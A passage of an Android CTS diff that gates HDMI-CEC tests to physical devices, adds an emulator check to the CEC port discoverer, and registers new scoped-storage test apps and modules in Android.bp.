--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
@@ -45,6 +45,7 @@ public final class HdmiCecDeviceOsdNameTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
index 3bc9ec2211c..d14e1794d02 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
@@ -55,6 +55,7 @@ public class HdmiCecDeviceSelectForPlaybackTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java
index 444b0bdbd6e..6a92d5254b1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java
@@ -37,6 +37,7 @@ public final class HdmiCecGeneralProtocolTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
index 7a8e3d418c2..29a7c30fd89 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
@@ -56,6 +56,7 @@ public final class HdmiCecOneTouchPlayTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
index 5b361be5876..1460768f1e3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
@@ -67,6 +67,7 @@ public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
index dad1800de87..4a64e5c63a0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
@@ -52,6 +52,7 @@ public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTes
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index fc5ea0cad84..7ad69634cfd 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -49,6 +49,7 @@ public final class HdmiCecRoutingControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java
index 3469beb5bd3..5e4401d5f9b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java
@@ -46,6 +46,7 @@ public class HdmiCecSoundbarModeTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresArcSupport(this, true))
.around(CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
index d9f0b95d1b5..f75218cf1b8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
@@ -25,10 +25,10 @@ import android.hdmicec.cts.LogicalAddress;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
import java.util.concurrent.TimeUnit;
@@ -40,6 +40,7 @@ public final class HdmiCecStandbyTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index f0fbd1e5b98..701b6d74647 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -44,6 +44,7 @@ public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index bd56af97e87..3e7ca551e24 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -33,8 +33,6 @@ import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import java.util.concurrent.TimeUnit;
-
/** HDMI CEC system information tests (Section 11.2.6) */
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -43,6 +41,7 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
index 14700a13493..89056594eb0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -48,6 +48,7 @@ public final class HdmiCecTvPowerToggleTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java
index b9b21eb3607..6b05e181c9b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java
@@ -40,6 +40,7 @@ public final class HdmiCecWakeupTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
index 470937486fd..fcdac7c3b56 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
@@ -36,12 +36,12 @@ import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
+import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
-import java.io.IOException;
import java.util.ArrayList;
-import java.util.concurrent.TimeUnit;
import java.util.List;
+import java.util.concurrent.TimeUnit;
/* Sets up the CEC tests by discovering which port the CEC adapter connected to */
public class CecPortDiscoverer extends BaseTargetPreparer {
@@ -68,7 +68,8 @@ public class CecPortDiscoverer extends BaseTargetPreparer {
throws TargetSetupError, DeviceNotAvailableException {
ITestDevice device = testInfo.getDevice();
if (!device.hasFeature("feature:android.hardware.hdmi.cec")
- || !device.hasFeature("feature:android.software.leanback")) {
+ || !device.hasFeature("feature:android.software.leanback")
+ || isTvEmulator(device)) {
// We are testing non-HDMI devices, so don't check for adapter availability
return;
}
@@ -80,6 +81,18 @@ public class CecPortDiscoverer extends BaseTargetPreparer {
}
}
+ /**
+ * Check if the DUT is an emulator.
+ * @param device The DUT.
+ * @return true If the DUT is an emulator.
+ * @throws DeviceNotAvailableException
+ */
+ public static boolean isTvEmulator(ITestDevice device) throws DeviceNotAvailableException {
+ return !device.executeShellCommand("getprop " + HdmiCecConstants.PROPERTY_BUILD_FINGERPRINT
+ + " | grep \"cf_x86\"")
+ .isEmpty();
+ }
+
/** {@inheritDoc} */
@Override
public void tearDown(TestInformation testInfo, Throwable e) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java
index 77dbcb27ed3..c958ec5d684 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java
@@ -46,6 +46,7 @@ public class HdmiCecAbsoluteVolumeControlFollowerTest extends BaseHdmiCecCtsTest
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
index a368bdf4ea1..0511e99769e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
@@ -47,6 +47,7 @@ public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTe
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java
index 6cba5d1c395..b0ed919398b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java
@@ -54,6 +54,7 @@ public class HdmiCecAvbToAudioSystemTest extends BaseHdmiCecAbsoluteVolumeBehavi
public RuleChain ruleChain =
RuleChain.outerRule(BaseHdmiCecCtsTest.CecRules.requiresCec(this))
.around(BaseHdmiCecCtsTest.CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
BaseHdmiCecCtsTest.CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java
index 0aa21b8ab23..1658bf4696c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java
@@ -37,6 +37,7 @@ public final class HdmiCecGeneralProtocolTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
index 605ecee84e0..c933a3c67a8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
@@ -55,6 +55,7 @@ public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTes
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
index 55723a447d1..8033459f66e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
@@ -47,6 +47,7 @@ public final class HdmiCecRoutingControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
index 54c296e8270..929be019e09 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
@@ -44,6 +44,7 @@ public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
index 83b7c4ba767..9da2e346cd7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
@@ -41,6 +41,7 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
index 7ee413a9d3a..86f1a9e26e0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
@@ -60,6 +60,7 @@ public class HdmiCecTvOneTouchPlayTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
index 2ab3c24c6aa..9981fe67564 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
@@ -45,6 +45,7 @@ public class HdmiCecTvStandbyTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index 99f7e5b0581..ef1181da97a 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -63,8 +63,8 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest {
private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
- private static final String BUTTON_ALWAYS_RES_ID = "android:id/button_always";
- private static final BySelector BUTTON_ALWAYS = By.res(BUTTON_ALWAYS_RES_ID);
+ private static final String BUTTON_ALWAYS_RES_ID = ".*:id/button_always.*";
+ private static final BySelector BUTTON_ALWAYS = By.res(Pattern.compile(BUTTON_ALWAYS_RES_ID));
private static final UiSelector BUTTON_ALWAYS_UI_SELECTOR =
new UiSelector().resourceId(BUTTON_ALWAYS_RES_ID);
private static final BySelector RESOLVER_DIALOG = By.res(Pattern.compile(".*:id/contentPanel.*"));
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index a919d1b1e63..3f911187a8d 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -304,6 +304,85 @@ android_test_helper_app {
],
}
+android_test_helper_app {
+ name: "CtsScopedStorageGeneralTestOnlyApp",
+ manifest: "ScopedStorageTestHelper/TestAppGeneralOnly.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppELegacy",
+ manifest: "ScopedStorageTestHelper/TestAppELegacy.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "28",
+ min_sdk_version: "28",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppE",
+ manifest: "ScopedStorageTestHelper/TestAppE.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppE30",
+ manifest: "ScopedStorageTestHelper/TestAppE30.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "30",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppE30FileManager",
+ manifest: "ScopedStorageTestHelper/TestAppE30FileManager.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "30",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
java_test_host {
name: "CtsScopedStorageCoreHostTest",
srcs: [
@@ -481,6 +560,8 @@ android_test {
":CtsScopedStorageTestAppSystemGallery30BypassDB",
":CtsTestAppWithQueryAllPackagesPermission",
":CtsTestAppWithQueriesTag",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
],
data: [
":CtsScopedStorageTestAppFileManager",
@@ -489,6 +570,139 @@ android_test {
":CtsScopedStorageTestAppDLegacy",
":CtsTestAppWithQueryAllPackagesPermission",
":CtsTestAppWithQueriesTag",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
+ ":CtsScopedStorageTestAppSystemGalleryBypassDB",
+ ":CtsScopedStorageTestAppSystemGallery30BypassDB",
+ ":CtsScopedStorageTestAppFileManagerBypassDB",
+ ],
+ per_testcase_directory: true,
+}
+
+android_test {
+ name: "CtsScopedStorageBypassDatabaseOperationsTest",
+ manifest: "bypassdatabase/AndroidManifest.xml",
+ test_config: "bypassdatabase/AndroidTest.xml",
+ srcs: ["bypassdatabase/**/*.java"],
+ static_libs: [
+ "truth",
+ "cts-scopedstorage-lib",
+ "androidx.test.uiautomator_uiautomator",
+ "modules-utils-build_system",
+ ],
+ compile_multilib: "both",
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ libs: [
+ "android.test.base",
+ "android.test.mock",
+ "android.test.runner",
+ ],
+ java_resources: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppSystemGalleryBypassDB",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
+ ":CtsScopedStorageTestAppSystemGallery30BypassDB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppFileManagerBypassDB",
+ ],
+ data: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppSystemGalleryBypassDB",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
+ ":CtsScopedStorageTestAppSystemGallery30BypassDB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppFileManagerBypassDB",
+ ],
+ per_testcase_directory: true,
+}
+
+android_test {
+ name: "CtsScopedStorageGeneralTest",
+ manifest: "general/AndroidManifest.xml",
+ test_config: "general/AndroidTest.xml",
+ srcs: ["general/**/*.java"],
+ static_libs: [
+ "truth",
+ "cts-scopedstorage-lib",
+ "androidx.test.uiautomator_uiautomator",
+ "modules-utils-build_system",
+ ],
+ compile_multilib: "both",
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ libs: [
+ "android.test.base",
+ "android.test.mock",
+ "android.test.runner",
+ ],
+ java_resources: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppDLegacy",
+ ":CtsScopedStorageGeneralTestOnlyApp",
+ ":CtsScopedStorageTestAppE",
+ ":CtsScopedStorageTestAppELegacy",
+ ],
+ data: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppDLegacy",
+ ":CtsScopedStorageGeneralTestOnlyApp",
+ ":CtsScopedStorageTestAppE",
+ ":CtsScopedStorageTestAppELegacy",
+ ],
+ per_testcase_directory: true,
+}
+
+android_test {
+ name: "CtsScopedStorageRedactUriTest",
+ manifest: "redacturi/AndroidManifest.xml",
+ test_config: "redacturi/AndroidTest.xml",
+ srcs: ["redacturi/**/*.java"],
+ static_libs: [
+ "truth",
+ "cts-scopedstorage-lib",
+ "androidx.test.uiautomator_uiautomator",
+ "modules-utils-build_system",
+ ],
+ compile_multilib: "both",
+ test_suites: [
+ "general-tests",
